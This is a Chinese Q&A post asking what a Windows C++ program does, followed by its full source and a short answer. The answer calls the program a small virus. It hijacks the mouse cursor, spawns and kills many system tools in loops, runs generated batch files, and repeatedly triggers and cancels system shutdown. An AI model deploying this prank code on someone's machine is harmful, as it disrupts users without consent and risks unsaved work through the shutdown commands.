某一天看到一个代码，这个在DEV中会输出什么？

Question

#include<iostream>
#include<windows.h>
#include<stdio.h>
#include<fstream>
using namespace std;



int main()
{
    system("color 8F");
    int result = MessageBox(MB_APPLMODAL," "," ",MB_ICONASTERISK|MB_YESNO);
    if (result == IDNO)
    {
        return 0;
    }
    else 
    {
        int x,y; 
        
        
        for (int a=0;a<10000;a++)
        {
            x = rand()%801;
            y = rand()%601;
            SetCursorPos(x,y);
            
        }
        for (int b=0;b<3;b++)
        {
        
            system("start notepad");
            system("start calc");
            
            system("start winver");
            
            system("start cmd");
            system("start Nslookup");
           
            system("start ");
            
            
            system("start cleanmgr");
           
            system("start charmap");
            
            system("start calc");
            
            system("start calc");
            system("start dxdiag");
            
            system("start cmd");
            system("start cmd");
            system("start cmd");
           
            system("start taskmgr");
            system("start ");
            system("start wiaacmgr");
            system("start  mspaint");
            system("start mmc");
            system("start ");
            
        }
        system("start dxdiag");
        Sleep(2000);
        system("taskkill /im notepad.exe") ;
        system("taskkill /im calc.exe") ;
        system("taskkill /im dxdiag.exe") ;
        system("taskkill /im winver.exe") ;
        
        system("taskkill /im  cmd.exe") ;
        system("taskkill /im Nslookup.exe") ;
        
        
        
       
        system("taskkill /im cleanmgr.exe") ;
        
        system("taskkill /im charmap.exe") ;
        
    
    
    
        system("taskkill /im taskmgr.exe") ;
        
        system("taskkill /im wiaacmgr.exe") ;
        system("taskkill /im mspaint.exe") ;
        system("taskkill /im mmc.exe") ;
        
        
        for (int c=0;c<5;c++)
        {
            system("start notepad");
        }
        system("taskkill /im notepad.exe") ;
        
        for (int d=0;d<5;d++)
        {
            system("start calc");
        }
        system("taskkill /im calc.exe") ;
        for (int l=0;l<10;l++)
        {
            system("start calc");
        }
        system("taskkill /im calc.exe") ;
        for (int m=0;m<15;m++)
        {
            system("start calc");
        }
        system("taskkill /im calc.exe") ;
        
        for (int f=0;f<20;f++)
        {
            system("start calc");
        }
        system("taskkill /im calc.exe") ;
        for (int n=0;n<10;n++)
        {
            system("start calc");
        }
        system("taskkill /im calc.exe") ;
        for (int q=0;q<15;q++)
        {
            system("start cmd");
        }
        system("taskkill /im cmd.exe") ;
        for (int r=0;r<20;r++)
        {
            system("start taskmgr");
        }
        system("taskkill /im taskmgr.exe") ;
        for (int g=0;g<10;g++)
        {
            system("start mmc");
        }
        for (int h=0;h<10;h++)
        {
            system("start ");
        }
        ofstream out;
        out.open("eason.bat");
        out<<"dir/s";
        out.close();
        for (int i=0;i<5;i++)
        {
            system("start eason.bat");
        }
        ofstream oo;
        oo.open("eason2.bat");
        oo<<"tree";
        oo.close();
        for (int j=0;j<5;j++)
        {
            system("start eason2.bat");
        }
        
        
        system("taskkill /im taskmgr.exe") ;
        system("taskkill /im mmc.exe") ;
        system("taskkill /im /f cmd.exe") ;
        system("taskkill /im cmd.exe") ;
        system("taskkill /im calc.exe") ;
        for (int k=0;k<10000;k++)
        {
            x = rand()%801;
            y = rand()%601;
            SetCursorPos(x,y);
        }
        ofstream o;
        o.open("easo.txt");
        o<<" "<<'\n'<<" "<<'\n'<<" "<<'\n'<<" "<<'\a';
        o.close();
        system("start easo.txt");
        for (int p =0;p<5;p++)
        {
        
        
            system("shutdown -s");
            Sleep(100);
            system("shutdown -a");
        }
        remove("eason.bat");
        remove("eason2.bat");
        remove("easo.txt");
        result = MessageBox(MB_APPLMODAL," "," ",MB_ICONASTERISK|MB_OK);
        return 0;
    }
    
}

Answer 1

回答如下：一个小病毒，自动打开文件，弹窗不断，重启即可，有些吓人了，下次得仔细看看了